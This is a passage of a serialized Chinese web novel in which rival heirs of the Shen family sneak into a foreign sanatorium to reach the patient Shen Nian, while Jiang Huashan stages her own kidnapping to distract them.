“哇哦~”沈清予极轻地吹出一声几乎听不见的气音,嘴角扯起一个玩味的弧度,用只有两人能听到的声音说,“专业的雇佣兵,这手笔不小啊~阿灵哥还真是深藏不露~” 沈归灵淡淡扫了沈清予一眼,他的侧脸在闪烁的红光下,显得危险而诱人,“我不认识他们,等他们打完了再进去,免得被误伤。” “不是你的人?”沈清予当即收敛起玩世不恭的调笑,眼神一凝,盯着沈归灵打量,“你在跟我开玩笑?” “你觉得好笑?这群人一看就是穷凶极恶之辈,我根正苗红怎么会和垃圾为伍?” “呵~”沈清予莫名被气笑了,“你别告诉我,你原本打算就靠我们两个在沈兰晞眼皮子底下杀沈年?” 沈归灵纠正,“我一开始连你都没计划,你是自己硬跟上来的,傻逼。” “……”沈清予闭了闭眼,有种想抓小鸡但是被鸡啄了眼的感觉。 “那现在怎么办?傻逼。”他反唇相讥。 沈归灵如同一张在暗处缓缓拉满的弓,眸底映着闪烁不定的红光,“这群人的目标应该也是沈年,我们趁乱进去,说不定能截胡。” 截胡? 开什么玩笑。 对方连最新型的冲锋枪都扛上了,要是遇见了,下一秒就会被射成窟窿眼。 沈归灵这傻逼不是很聪明吗?怎么会想出这种计策? 沈清予顿时眸光幽暗,咬牙切齿,“沈归灵,这局你想杀的人不会是我吧?” 搞这么危险的局,不就是想让他送死? 沈归灵冷笑了一声,偏头咧嘴一笑,“你总算看明白了?有本事继续跟啊,傻逼!” 话音刚落,趁着闪烁的红光交替间,沈归灵的身影如同离弦之箭,毫无预兆地从阴影中猛地弹射而出! 他没有丝毫犹豫,甚至没有回头看一眼沈清予,整个人压低重心,利用灌木和建筑拐角作为掩护,以一种近乎疯狂的速度,精准而迅疾地冲向那扇因交火而暂时无人顾及的主建筑侧门。 “疯子。” 沈清予眼底闪过一丝无法言说的躁动,他低声咒骂了一句,身体却比脑子更快地做出了反应,几乎在下一秒也猛地窜了出去。 想甩开他,没那么容易。 …… 第816章 找到了! 沈归灵的身影在错综复杂的纯白走廊里急速穿梭,如同一道融入背景的幽灵,身后的枪声、以及沈清予恼火的低咒都被他远远甩开。 他现在需要一个绝对安静的环境。 目光锐利地扫过两侧房门,沈归灵猛地推开一扇未上锁的、看似是储物间的门,侧身闪入,随即反手将门轻轻合上,落锁。 外界的一切喧嚣瞬间被隔绝,只剩下他自己急促却刻意压低的呼吸声。 他背靠着冰冷的门板,没有丝毫停顿,立刻从贴身衣物内侧取出一个几乎与皮肤贴合的加密通讯器戴入耳中。指尖在微型触控板上快速敲击出一段复杂的指令。 几乎是立刻,通讯被接通了。 “殿下?”安缇冷静而清晰的声音从耳麦中传来,背景音异常干净,显然她也处于高度戒备状态。 “嗯。”沈归灵的声音压得极低,耳朵侧倾,时刻留意着门外的任何动静。 “我已经按照您的吩咐将沈年重伤归国的消息传递给了李儒,并留下线索让李儒找到了圣路易斯精神疗养中心,果真如您所料,李儒为了防止沈年叛变,不惜出动了李家的雇佣军团。” 安缇的语速很快,信息精准,“另外,我已经给首都司令总局投出匿名姓,告诉他们今晚圣路易斯精神疗养中心会有恐怖袭击,算算时间,王象军团警卫营五分钟后将会派兵镇压,届时,王象军团将会名正言顺接管圣路易斯精神疗养中心。” “殿下想要谁的命,交代一声就是。” “王象军团?”沈归灵的眼神在黑暗中滟潋发光,他只让安缇给李儒通风报信,再让S国警方介入,如此混乱之下他才能浑水摸鱼。 可安缇竟然直接命令王室军团,军方和警方可不是一个概念。 安缇察觉出了沈归灵的质疑,立马解释,“殿下放心,王象军团在职首席长官曾是亲王殿下最得意的副将之一,他对您绝对忠诚。” “……”沈归灵的指尖无意识地扣紧了冰冷的金属门板,隐在暗处的眸光,神色莫测。 * 另一边,沈清予紧紧跟着沈归灵在纯白走廊里疾驰,然而只是一个拐角的错身,前方那道黑色的身影就如同鬼魅般彻底消失,无声无息地融入了这片冰冷的建筑群。 “歹命!”沈清低骂一声,猛地刹住脚步,警惕地环顾四周,回过神使,走廊里已经空无一人。 他被耍了。 意识到这点,强烈的挫败感和被戏弄的怒火涌上心头,但沈清予还是迅速压下了这些情绪,因为现在不是发泄的时候。 他侧身闪进另一条岔路,目光快速扫视,最终推开一扇标着“设备间”的铁门,侧身而入。 门内是各种管道和服务器机柜运行发出的低沉嗡鸣,空气中弥漫着金属和尘埃的味道。 这里相对安全,足以暂时隔绝外面的混乱。 沈清予背靠着冰冷的铁门,深吸一口气,从口袋里掏出一个经过特殊加密的卫星通讯器,迅速拨通了一个号码。 “少爷?”管事顾赫沉稳的声音传来,背景安静,显然一直在待命。 “我跟丢了。”沈清予言简意赅,语气里带着未消的戾气,“查查沈归灵现在在哪?” 当初沈归灵赊账同他买枪,他早就防了一手,在那只手枪里安装了定位追踪器。 “是。” 那边大约沉默了一分钟,声音再次响起,“少爷,定位显示阿灵少爷现在在疗养院B区三楼过道左侧的储物间。” “果然没走,看来沈年手里的把柄不小!” 沈清予的眼中闪过一丝算计的精光,“阵仗这么大,他们一定会想办法转移沈年,查查沈年现在在哪?与其跟在屁股后面打转,不如去终点等。” 沈归灵装晕的这段期间,沈清予也没闲着,早在沈兰晞不许他探视沈年时他就对沈兰晞起了疑心。所以沈兰晞偷偷转移沈年的时候,沈清予其实是知道的。 他知道沈兰晞想借机试探沈归灵,正好他也想知道沈归灵身上有什么秘密,所以并未阻拦。 原本他和沈兰晞目的一致,联合起来对付沈归灵才是正道。但姜花衫曾刻意交待过要把沈归灵带回去,而他也已经应口,无奈之下只能既帮又不帮。 他原本打算知道沈归灵的秘密后酌情而定,如果是些小事就想办法让沈归灵吃点苦头,如果离谱就把他丢给沈兰晞。 如此,就像小花儿生气,也怪不到他头上。 没想到沈归灵防他跟防贼一样,事到如今只能先弄清楚沈年手里的秘密了。 * 沈归灵切断与安缇的通讯,没有丝毫犹豫,确认门外走廊暂无异常动静后,立刻拉开了门窜了夜幕。 夜长梦多,他不信任何人,沈年的命他自己拿。 这种级别的疗养院,一旦遭遇不可控的外部袭击,标准操作程序必然是优先转移最高价值或最高风险目标。 沈年,现在正处于极度脆弱的状态,绝不会被留在原处等待救援或沦为战利品。最可能的方向是……地下紧急医疗撤离通道,或者某个拥有独立生命维持系统和更强防护的隐蔽隔离单元。 沈归灵的脚步迅捷而无声,利用工作人员紧急疏散后留下的空档,如入无人之境。 终于,在一处标有“医疗物资中转-权限A”的厚重气密门前,他停下了脚步。 门禁指示灯闪烁着红光,意味着从内部锁死。但这难不倒他。沈归灵从大腿侧的战术包里取出一个巴掌大的解码器,将其接口插入门禁系统的隐蔽维护端口。 “嘀”一声轻响,红灯转绿,气密门发出轻微的泄压声,缓缓向一侧滑开。 门后的景象与外面纯白的走廊截然不同。 空间不大,更像一个前厅,灯光昏暗,只有几台闪烁着各色数据的监控屏幕嵌在墙上,显示着内部房间的生命体征监测数据,而更深处,是一面巨大的单向防弹玻璃墙。 沈归灵歪头扬起嘴角。 “找到了。” …… 第817章 独乐乐不如众乐乐 沈年依旧安静地躺在病床上,周身连接着各种精密的仪器,他脸色苍白如纸,呼吸微弱,但心电监护仪上那稳定跳动的绿色波形,显示着他顽强的生命力。 病房内并非空无一人。 一个穿着白色研究员外套、戴着口罩的身影背对着玻璃墙,似乎正在调整沈年手臂上的输液参数。研究员察觉到背后有异动,站起身刚回头,眼前一黑,身体瘫软滑落。 沈归灵一脚踢开研究员,路过医务工具台时随手抽出一副白色橡胶手套戴上。 他淡定地不像话,看向沈年的眼神更是波澜不惊。 就在沈归灵伸手正准备切断供应电源时—— “咔哒!” 一声极其刺耳的异响突然从他进入的气密门方向传来! 这是门禁系统被触发,金属门滑轨启动前的预兆。 有人来了! 沈归灵的动作骤然定格,眼中的杀意如潮水般褪去,取而代之的是极致的警惕和冷静。 他没有丝毫犹豫,猛地转身,以最快的速度拖起地上昏迷的研究员,将其塞进床底,紧接着自己闪身躲进了一个大型医疗设备柜与墙壁之间的狭窄缝隙里。 这处缝隙被厚重垂地的帘幕遮挡,不仅足够隐蔽,而且还能透过帘幕缝隙观察到室内大部分情况。 沈归灵慢条斯理取出腰后的手枪,在金属门滑动的瞬间卡点拉枪上膛,托住枪口指向气密门的方向。 “嗤——” 气密门彻底滑开。 只见一道身影几乎是贴着门缝闪了进来,动作带着一种刻意伪装却又难掩其本身跳脱气息的谨慎。 来人穿着一身不知从哪儿弄来的白色研究员外套,尺寸似乎不太合身,袖口短了一截。他脸上戴着口罩,但那双微微上挑的丹凤眼正滴溜溜四处乱转。 “……” 沈归灵闭了闭眼,默默放下枪。 沈清予则是完全没察觉到这房间里还有另一个人,或者说,他根本没料到沈归灵会比他更快。 进门后,他先是快速扫视了一圈前厅,先是在那几台闪烁的监控屏幕上停留一瞬,才被单向玻璃墙后的病房吸引了注意。 找到了。 沈清予挑了挑眉,眼睑微微眯起,仔细地打量着里面毫无声息的沈年。 惨白的房间、冰冷的机械,还有昏迷的他。 “啧啧啧……” 沈清予歪了歪头,眼神里没了往常的轻佻,取而代之的是一种近乎审视的专注,仿佛在评估一件物品的损坏程度。 片刻后,他极轻地咂着嘴,声音低得几乎只剩气流声,“沈兰晞这家伙下手可真够黑的,好好一个人,愣是给弄成了插线板。” 他大摇大摆走上前,俯下身凑近沈年,在他耳边低语:“这么活着也挺无趣的,对吧?不如让我帮你解脱……” 说完,他认真看着沈年的脸,等了片刻没了耐心,“你不说话,我就当你同意了。” 沈清予伸出手,指尖悬停在一根看起来尤为关键的输液管上方,又缓缓移向心电监护仪的电源线。他的动作带着一种残忍的玩味,似乎在挑选最“有效”的那一根。 “……”躲在暗处的沈归灵忽然又有了举枪的冲动。 就在沈清予的手指即将触碰到某根线路的刹那—— “叮咚!” 外间气密门再次传来那声刺耳无比的提醒! 又有人来了! 而且这次门禁触发的声音更权威,是高级权限通过的指令。 沈清予的动作猛地僵住,眼中的戏谑和残忍瞬间被惊愕取代。他几乎是本能地扭头看向外间,透过单向玻璃,能看见金属门滑轨已经开始启动! 没有任何思考的余地,沈清予像一只受惊的猫,蹲身趴地往床下滚去,床单垂幕在他身后晃动两下,重归平静。 然而,床下的藏身之地并不如他所预期那般宽敞,刚一缩进去,他的手肘就撞到了一团软中带硬的物体,同时,一股淡淡的、属于陌生人的气息混合着消毒水的味道钻入鼻腔。 有人。 沈清予心中一凛,目光在黑暗中急速适应,借着从垂幕缝隙透入的微弱光线,他才勉强看清,自己身边正躺着一个穿着白大褂、已然昏迷的胖子。 眼下的此情此景,差点没把沈清予气出毛病。 他瞬间明白了,自己刚刚在外面蹦跶了那么久全是笑话,沈归灵那家伙早就在暗处盯着他。 狗东西,速度倒是挺快! 沈清予越想越气,正想爬出去把沈归灵揪出来,冷不丁听见一道熟悉的声音。 “怎么回事?人呢?” 是沈兰晞! 沈清予眸光微变,咬了咬牙,将身子蜷缩得更紧。 “嗤——” 内层病房的气密门平滑开启,一股更冷的空气涌入。 沈兰晞迈步走了进来,锃亮的皮鞋踩在地面上,发出清晰而压迫的声响。 与沈兰晞一同进来的还有高止和沈年的主治医生。 主治医生擦了擦额头的冷汗,“刚刚的暴动太吓人了,院长这会儿应该还在跟军方的人交涉。不过您放心,这里并未受到影响,绝对安全。” 沈兰晞径直走到病床边,居高临下地扫了沈年一眼,又抬眸打量起四周的环境,“S国军团怎么会介入此事?” 主治医生连忙解释:“少爷您有所不知,S国王都的治安一直都由王室旗下四大军团轮流管制。今晚的袭击事件性质恶劣,为了查清缘由,军方暂时接管医院都是有可能的。” 沈兰晞的眉头几不可察地蹙起,“在军方接管之前,想办法把人弄醒。” 主治医生哪敢再说半个不字,连连点头。 沈兰晞的目光在病房内流连片刻不见异样,转身向门外走去。 好险! 床下,沈清予抱着蜷缩发酸的长腿,默默松了口气。 可没等他把这口气缓上来—— 突然! “噔噔噔噔噔噔噔噔~” 一阵极其刺耳的电话铃声在他耳边炸响! 沈清予呆愣了半秒,突然反应过来,立马掏出手机正准备挂断。可当他看见屏幕上弹跳出的界面时,彻底崩溃了…… 群视频会议申请。 成员:沈兰晞、沈归灵、沈清予。 发起人:姜花衫。 …… 第818章 这是活爹! 这活爹搞什么啊?! 沈清予手指颤抖着想要立刻挂断视频,却因心慌意乱加之空间逼仄,指尖猛地一滑—— 非但没挂断,反而准确无误地戳中了接听键! 沈清予:"......" 很好,悬着的心彻底死了。 几乎在同一时刻! "嗡——嗡——嗡——" 一阵震动感极强的蜂鸣声,突兀地从医疗设备柜后方传了出来!尽管床底下传来的铃声已经吸引了大部分火力,但在死寂的病房里,这阵蜂鸣依旧清晰得令人心惊。 正要踏出内层病房门的沈兰晞,此时已经停下了脚步。 高止的反应更快,几乎在铃声炸响的瞬间,侧身将沈兰晞护在身后,右手如闪电般探入怀中,握紧了隐藏枪械的握把,眼神锐利如鹰,死死锁定了声源方向! 主治医生彻底吓傻了,张着嘴,像条离水的鱼,发不出半点声音,只有腿肚子在剧烈地打颤。 一片紧绷的寂静中,沈兰晞却神色自若,不紧不慢地从西服裤袋里掏出仍在震动的手机,他垂眸瞥了一眼,指尖轻描淡写地划向了接听键。 "嗨~亲爱的哥哥们~" 视频画面陡然亮起,一张仙姿昳丽的脸庞猝不及防地占据了整个屏幕。女孩素面朝天,一双水灵灵的桃花眼几乎要贴到镜头上,即便是这种死亡角度,也美得惊心动魄。 "咦?怎么只有沈兰晞?沈清予?做贼呢?背景怎么黑乎乎的?" 沈兰晞唇角勾起一抹若有似无的弧度,目光带着极强的压迫感,淡淡扫过病床底下和医疗设备柜的方向,"他们估计在忙,有什么事跟我说。" "忙个屁!" 沈清予见行迹败露,索性破罐子破摔,一脸晦气地从床底爬了出来,还故意拍了拍身上的灰,一屁股坐在沈年的病床上。 "哦,刚刚光线不好,现在看清楚了?"说罢,有恃无恐地斜了沈兰晞一眼。 "看清楚了。"姜花衫脆生生地应道,镜头里的她眨了眨眼,像只好奇的小猫,"咦,沈归灵呢?难道还在昏迷?" 话音未落,靠窗的厚重窗帘微微晃动,一道修长的黑影悄无声息地从缝隙中闪出。 沈归灵抬手取下脸上的镂空面具,同时按下了手机的接听键,嗓音带着一丝刚醒来的低沉沙哑:"我刚醒来,怎么了?" 一旁的主治医生原本吓得快要原地抽风,眼见画风突变没忍住狠狠扇了自己一巴掌。 到底怎么回事? 这三个人明明近在咫尺,为什么还要隔着手机屏幕打视频电话?! 这是什么新型交流方式吗?!! "咦?"视频那头的姜花衫微微蹙起眉头,狐疑地打量着屏幕里的三人,"奇怪,你们三个的背景怎么都是白花花的一片?你们......该不会在一块儿吧?" 三人闻言,同时抬眸,视线在空中短暂交汇,摩擦出无声的火花,随即异口同声地否认: "没有。" 姜花衫眯起那双漂亮的桃花眼,逐个审视着他们略显僵硬的表情,忽然咧开嘴角,露出一个甜美又带着几分狡黠的微笑:"好吧~对了!我要告诉你们一个好消息:我来S国啦!" 此话一出,三人脸色微变。 沈兰晞率先沉声开口:"爷爷知道吗?" 姜花衫满不在乎地耸耸肩:"我给他留了封书信,现在......应该已经发现了吧。" 沈兰晞眉头紧锁,立刻切出视频界面,这才注意到老爷子两个小时前发来的邮件提醒,但他设置了勿扰模式,信息被自动归入了待处理列表。 "......" 沈兰晞抬手捏了捏眉心,刚想说话,沈清予已经抢先一步,语气略有不满:"你多大个人了,怎么还玩离家出走这种小孩儿把戏?" "嗤。"姜花衫撇撇嘴,回敬了一个极其敷衍的假笑,"还不是你们两个办事不给力?爷爷都病倒了,你们还在外面磨磨蹭蹭没个准信,我只好亲自出马咯~" "你......" 沈清予刚要反驳,沈归灵温和的声音适时响起,打断了他的话头:"别闹。你现在人在哪里?" 视频里的姜花衫得意地站起身,举着手机,镜头随着她的动作缓缓移动,将整个房间的环境收入画面:"我呀——" 她故意拉长了语调,镜头最终定格在熟悉的病房门口标志上。 "就在你''静养''的病房门口呀。" 姜花衫拉长的语调里满是得意,镜头随着她的转身,清晰地映出了病房门牌号。 然而,就在她话音刚落的瞬间—— 镜头猛地剧烈晃动!画面天旋地转! 一只戴着黑色手套的大手猝然闯入镜头,粗暴地捂住了姜花衫的口鼻!她那双漂亮的桃花眼里瞬间盈满了惊愕和挣扎,只来得及发出半声短促的呜咽。 "唔?!" 紧接着,是手机重重摔落在地的撞击声,镜头磕碰后仰角变得诡异,勉强捕捉到几只黑色裤脚迅速逼近,以及姜花衫被迅速拖拽着消失在画面边缘的双腿! 视频通话戛然而止,屏幕瞬间变黑,最后只剩下一片死寂。 病房内,时间仿佛凝固了。 沈兰晞、沈清予、沈归灵三人脸上的表情瞬间冻结,方才还小鹿乱撞的心跳这一秒几乎悬停! 沈归灵反应最快,几乎在视频中断的同一毫秒,他已化作一道黑色残影,直接翻身跳窗! 沈清予这才反应过来,起身冲到窗边,原本打算跟着跳下去,可朝下望了一眼,脚底不由得哆嗦了一下。 "!" 有病吧?这可是五楼! 毫无翻窗经验的沈清予果断选择转身冲向大门。 "少爷。"待两人先后离去,高止才小心翼翼地打量沈兰晞,"他们就这么走了?" 沈兰晞依旧保持着握持手机的姿势,指关节因过度用力而泛白,"回医院。" "可......"高止回头看向病床上的沈年,话未出口,再转身时,沈兰晞已不见了踪影。 * 与此同时。 皇家医院的VIP病房内。 白密一把掀开脸上的面具,掏了掏耳朵,"喂,你刚刚的表演也太浮夸了,那三个都是人精,他们能信吗?" …… 第819章 洗脑+1 “他们不敢不信?” 姜花衫施施然起身,指尖轻掸过衣角,拂去并不存在的灰尘。 “我要真出了什么事,爷爷第一个饶不了他们。” 在被沈家软禁的那段时间里,白密早已深刻体会到了什么是顶级团宠。此刻听着姜花衫这明目张胆的炫耀,他直接送上了一个毫不掩饰的白眼。 诡计多端的女人!难怪他那聪明绝顶的王兄都会被蒙蔽。 “你那是什么眼神?”姜花衫眼风斜扫过来,从上到下将白密打量了一遍,姿态倨傲,“查到沈年的位置了?” “他在……”白密下意识接口,猛地刹住了话头,脸色瞬间阴沉,话锋急转:“我什么时候答应要帮你查沈年的位置了?” 姜花衫摆摆手,一副理所当然的模样,“我在S国没什么人脉,你不查谁查?” “我……” 这话直接把白密气笑了,今天算是长见识了,原来有人的脸皮真能比城墙还厚。 白密双手抱胸,扯着嘴角,皮笑肉不笑,“我什么时候变成你的人脉了?你别忘了,我刚刚之所以答应配合你,是因为你说有办法让我和沈归灵单独相处。现在你一次惹三个,这不是在耍我吗?” 姜花衫自知理亏,轻咳了一声,找了个舒服的姿势在沙发上坐下。 白密一脸晦气,“别忘了,咱们俩之间的梁子还摆在那儿呢?在S国你给我小心点。”说完,冷笑着转身准备离开。 敬酒不吃吃罚酒? 姜花衫轻叹了一声,单手托腮,表情无辜,“白毛,你现在要敢踏出这个房间,我回头就告诉沈归灵,是你绑架的我。” 白密身形猛地顿住,但很快又装出一副若无其事的样子,“随便,你当真我怕他?”绝不能让这个诡计多端的女人抓住把柄。 姜花衫勾唇轻笑,配合着点了点头,“原来你不怕啊?我还以为你被血脉压制,怕得不得了呢~” 白密的眸底倏地闪过一丝幽光。他沉默片刻,慢悠悠转身,面无表情地打量着眼前的少女,“你说什么?” 姜花衫有恃无恐,悠哉地耸了耸肩,“你这么大惊小怪做什么?我说错什么了吗?” 白密眼睑微眯,认真审视着姜花衫脸上每一个细微的表情,在确认她的确知道些什么后,不禁皱起了眉头,“你是怎么知道的?” 姜花衫:“还能怎么知道,沈归灵告诉我的呗。” 闻言,白密的脸色比活吞了一只苍蝇还难受,“他……他连这么重要的事都告诉你了?!!” 天杀的!这女的给沈归灵下了什么蛊?这种关乎身家性命的秘密他都坦白了! 完了完了,最强大脑长了颗恋爱脑,这是天要亡白家啊! 白密面上毫无波澜,内心的小人早已跪地崩溃。 姜花衫不明所以,以为是饵料下得不够猛,又继续道,“还有,沈归灵说了,他的就是我的。我要是在S国遇上什么事,随时可以联系你。你要是不听我的话,他会修理你。” “……”白密眯眼,眉头几乎快要拧成一股麻花,“他……真这么说了?” 姜花衫精准抓住了白密眼神里的慌乱,极力克制住上扬的嘴角,表情严肃,“上次在沈园,你不是亲眼看见了吗?他连命都可以给我,何况是你?” 有道理! 白密摸了摸下巴,完全没反应过来自己已经被归为了“沈归灵可分配的附属品”。他斜眼瞥了姜花衫一眼,不情不愿地凑上前,“那个……你刚刚说,要查谁来着?” 姜花衫抿嘴,露出一个营业式微笑,“沈年。” 白密咬了咬牙,“等、着!” 沈归灵的身影如夜枭般掠过医院外墙,在排水管道与窗台间几次精准借力缓冲后,悄无声息地落在地面阴影处。他甚至没有回头确认高度,落地瞬间便已融入夜色。 夜风拂过他毫无波澜的脸庞。安全屋的门在身后合拢的刹那,沈归灵主动接通了加密频道。 通讯器那端很快传来一个利落的女声:“殿下?” “一分钟前,有人闯入皇家医院绑走了姜花衫。”沈归灵的声音比平时更低沉,语速极快,“不管你用什么办法,现在、立刻、马上告诉我,是谁绑架了她?她现在在哪?” 安缇微怔。即便沈归灵掩饰得很好,她还是察觉到了他语气里不同寻常的颤抖。 她见过沈归灵杀伐果决的一面,自然明白这种颤抖意味着什么。 “殿下稍等。”通讯那边即刻传来敲击键盘的声响。 大约三分钟后,安缇的声音再次响起:“殿下,姜小姐最后出现的地点是皇家医院VIP病房区门口。现场有短暂信号干扰痕迹,行动干净利落,是专业团队所为。” “已捕捉到三辆无牌黑色厢式货车在事发时段离开医院区域,分不同方向驶入主干道后消失。正在追踪其可能路径。” 沈归灵此刻已经上车,低头看了看时间,“把定位发给我。” 安缇察觉出他打算单独行动,立刻出声安抚:“殿下别急,目前王都治安都在王象军团的管辖之下,我刚刚已经向指挥官下达了封锁相关路段的命令。这里是S国,没有人能在军团眼皮底下把人带走。除非……” 忽然,安缇的声音中断,再次响起时明显底气不足,“除非,是王室自己人。” 沈归灵抬眸,矜贵的瑞凤眼底敛着幽深的暗光。他指尖按下引擎启动键,声音冷得刺骨:“绑架姜花衫的是白家人?又是你们的女王陛下?” “不!”安缇连忙否认,“不是女王陛下。军团传来的资料显示是……白密殿下?” “是他?”沈归灵眼中寒光一闪,“不知死活。把定位发我。” 安缇挣扎了0.01秒,最终选择了“背叛”白密:“殿下,需要军团为您提供外围掩护吗?在S国弑杀王室成员是重罪。” …… 第820章 各自为营 三十分钟后,夜色更浓。 “阿嚏——” 白密揉了揉发痒的鼻子,下意识裹紧外套,狐疑地四下张望,“奇怪,怎么忽然觉得后颈凉飕飕的?” 姜花衫利落地跳下车,回头丢给他一个戏谑的眼神,“这还不明白?你身体太虚了,不耐寒。用我们A国的老话讲,这就叫外强中干。” 白密此刻没心思跟她斗嘴,只想尽快把这个“麻烦”交接出去。 他指着不远处一座在夜色中轮廓森然、仅有几点红色信号灯闪烁的庄园,语速飞快:“我已经联系了我母亲的旧部,他们会带你进去见沈年。沈家那三兄弟都被你引到别处去了,这里现在绝对安全。” 姜花衫满意地点点头,随口问道:“谢了~那你呢?” “我?”白密没好气地拉开车门,“我负责善后!开车出去乱转,帮你再拖延点时间。你完事了赶紧联系我。” 竟然还包售后? 姜花衫有些意外地打量着眼前的白毛。 这家伙嘴上说着不在乎,但其实还是很在意沈归灵的,否则也不会在她搬出沈归灵后,态度立马一百八十度大转弯。 念此,姜花衫脸上堆起和善的笑容:“给你添麻烦了,放心,事成之后,我肯定在沈归灵面前替你多多美言。” 白密像是被踩了尾巴的猫,立刻梗着脖子,眼神飘忽地反驳:“谁……谁稀罕你美言了?” 姜花衫也懒得拆穿他那点小心思,转身就要走。 白密却突然想起性命攸关的大事,急忙叫住她:“诶!等等!你千万记得跟沈归灵解释清楚绑架的事!一定得说清楚!” 不然,以沈归灵那护短的臭脾气,他很可能看不到明天的太阳。 “放心~放心~”姜花衫头也不回,只是敷衍地摆了摆手,身影很快融入了通往庄园的阴影里。 直到那抹身影彻底消失,白密一秒变脸,对着空气狠狠虚踢了一脚,低声咬牙:“姜花衫,你给我等着!” 一直默默跟在身后的随从见状,小心翼翼地上前一步,低声请示:“殿下,我们现在去哪?” 白密深吸一口气,压下内心的憋屈,斜眼瞥了随从一眼,语气恢复了往常的倨傲:“干什么?当然是去抓人!” 他早就发现了,刚刚在皇家医院的时候,除了他,还有另一伙人也鬼鬼祟祟地蹲在暗处,那群人明显也是冲着姜花衫来的。原本他不打算多管闲事,但现在情况不同了,沈归灵既然把姜花衫“托付”给了他,他就必须‘负责’。 更重要的是,等他抓住了那伙人,就能顺理成章地把“绑架”这口黑锅扣到他们头上。到时候,他可就是姜花衫的救命恩人了,沈归灵非但不会找他麻烦,说不定还得对他另眼相看! 想到这里,白密顿时觉得干劲十足,刚才的郁闷一扫而空。 * 黑色轿车以一百八十公里的时速在灯火霓虹中穿梭。 沈兰晞正襟危坐,指尖不断刷新着手里的显示器。屏幕上正快速滚动着皇家医院周边的监控录像片段、信号干扰源分析数据以及车辆轨迹模拟图。他面色沉静,俊美的轮廓如同覆上了一层寒冰,看着比窗外的夜色还要深沉。 高止一边开车,一边通过后视镜观察车后的沈兰晞。 “所以说……”沈兰晞的声音不高,淡得没有一丝温度,“在同一时间点,有两伙人入侵了医院,目标都是衫衫?” 事关重大,高止丝毫不敢懈怠,极为严肃地点了点头,“是。这两伙人都使用了军用级的信号屏蔽器,所以我们暂时还没查到到底是哪伙人带走了姜小姐。” “军用级?”沈兰晞眉峰微蹙。 高止继续道:“少爷,有一件事我始终没想明白。就算姜小姐身份特殊,终归也是女生,这些人如果是想跟沈家作对,也该是对您动手,怎么会盯上姜小姐?这其中是不是有诈?” 这个问题,沈兰晞不是没想过,但现在人都已经被绑走了,思考这些全然无济于事。 他淡淡道:“衫衫是老爷子的心头肉,这些人对她下手并不稀奇。比起这个,另外几点更可疑。” 高止并未深究,直接被沈兰晞带偏了思路:“什么?” “衫衫是不辞而别,也就是说她来S国是临时起意。这伙人竟然能在这么短的时间内精准绑走她,说明……” 沈兰晞眸底掠过一抹幽光,“要么沈家有内鬼,走漏了风声;要么……对方就是S国顶级权贵,能锁定入境名单,衫衫从落地就被盯上了。” “您刚才说有两伙人?”沈兰晞的声音莫名透出一丝寒意,“看来,两种情况都占全了。” 高止从未质疑过沈兰晞的决策,不由愣了愣,“那姜小姐岂不是有危险了?少爷,咱们现在怎么办?” 这里毕竟是S国,沈家再有实力也有顾全不到的地方,何况对手还是极其显贵之人。 沈兰晞指尖一顿,转头看向窗外,“去白王宫。既然这是白家的地界,就去找白家最显贵的人!” * 彼时,豪华车厢内。 沈清予站在整面墙的电子地图前,那双总是带着几分玩世不恭的桃花眼,此刻锋芒毕露。 “找到了!”顾赫快步进入车厢,低声汇报,“少爷,查到阿灵少爷的行踪了,他往王都西郊的方向去了。” 沈清予抬头,看向地图上密密麻麻标注着的王都各处实时动态,“那还等什么?我们也过去吧~” 他的策略很清晰:沈兰晞有家族势力,沈归灵有秘密渠道,他们都有依仗。所以他必须学会借势才能找到人。万幸沈归灵现在心思都乱了,根本没察觉到手枪里被装了定位。他这么有指向性地追踪,一定是发现了什么。所以,跟着他准没错。 * 与此同时—— 封闭的治疗室内光线昏沉,仪器屏幕上幽幽闪烁的绿光映照着床上沉睡的身影。 沈年静卧在纯白的床榻间,面容苍白,如同一尊被时光遗忘的雕塑。 忽然—— 那只搭在床沿的右手,食指指尖无意识地轻轻抽动了一次,动作轻微得如同蜻蜓点水,稍纵即逝。 …… 第821章 把人还给我 “嘀——嘀——嘀——” 安静的室内,仪器发出了轻微的警报声,但在隔音良好的治疗室里,这声音并未传远。 病床上的人眼睫忽然颤动,倏尔毫无预兆地睁开了眼睛。 那是一双清醒得近乎锐利的眼睛。 没有初醒时的迷茫混沌,也没有久病缠身的虚弱涣散。瞳孔在接触到光线的瞬间便完成了精准的聚焦。 直到确定房间内绝对安全,沈年才慢慢坐了起来。 他沉默片刻,面无表情地扯下了连接在身上的数据线。 接着又动作轻缓地挪到床边,赤脚下床,这期间几乎没有发出任何声音。长期的卧床让他的肌肉有些无力,但强大的意志力支撑着他迅速适应。 沈年蹲下身,掀开床单看向病床下方。 其实早在一天前,他就已经醒来了。得知沈兰晞没有第一时间送他回国,沈年就知道他这位光风霁月的弟弟是靠不住了。所以,他决定假装昏迷,赌一个时机。 幸运的是,老天还是眷顾他的,这个时机终于让他等到了。 沈年弯腰爬进床底,手掌在研究员的身体四处摸索,片刻后从衣兜里找到了手机。 他立马打开手机,用研究员的指纹解锁屏幕,快速浏览着最近的信息和通话记录。 渐渐地,沈年的眉头越蹙越紧,近乎拧成了一个川字。 虽然手机里的信息很零碎,但指向很明确,这里是S国的精神疗养院。 沈兰晞竟然把他关进了精神病医院! 沈年眼底的血色翻涌,几乎要将理智吞噬。 精神疗养院…… 沈兰晞竟然用这种方式来羞辱他!这已不仅仅是软禁,他是想将自己从家族权力的棋盘中名正言顺地抹去,就像当年他们对他做的事一样。 意识到这点,沈年的指尖用力到泛白,气血猛地上涌,身体不受控制地微微抽搐。 但很快,他克制了下来。 他深吸一口气,压下喉头的腥甜,眼底透着一抹血色,拨通了一则加密电话。 * 李家老宅,书房灯火通明。 “阿年,我一向最器重你,既然你有此决心,我自然会助你。只不过……”李儒说完便挂了电话,“这次,你可别让我失望了。” 对面的沈澈神色微动,主动将沏好的热茶递给李儒,“舅舅,喝茶。” 李儒抬眸看了沈澈一眼,笑得极其温和。 他双手接过茶盅,低头抿了一口,缓缓道:“沈家那几个小辈不简单啊,竟然能把沈年逼到如此地步。” 沈澈得知沈兰晞竟把沈年关进了精神病院,意外之余又觉得理所当然。 老爷子调教出来的孩子,哪会有省油的灯? 但比起那几个小辈内斗,沈澈还是更在意李儒的想法,思索片刻小心翼翼问道:“舅舅,您真愿意助沈年回A国?沈年知道李家这么多秘密,您就不怕他反水,对李家不利吗?” 李儒哂笑一声,摇了摇头,从身后拿出一沓资料递给沈澈,“你看看这个。” 沈澈不解,但还是照做。 接过文件的刹那,他不由一愣,“这不是沈归灵签署的那份叛国条约吗?” 李儒嘴角的笑意渐深,垂眸继续喝茶。 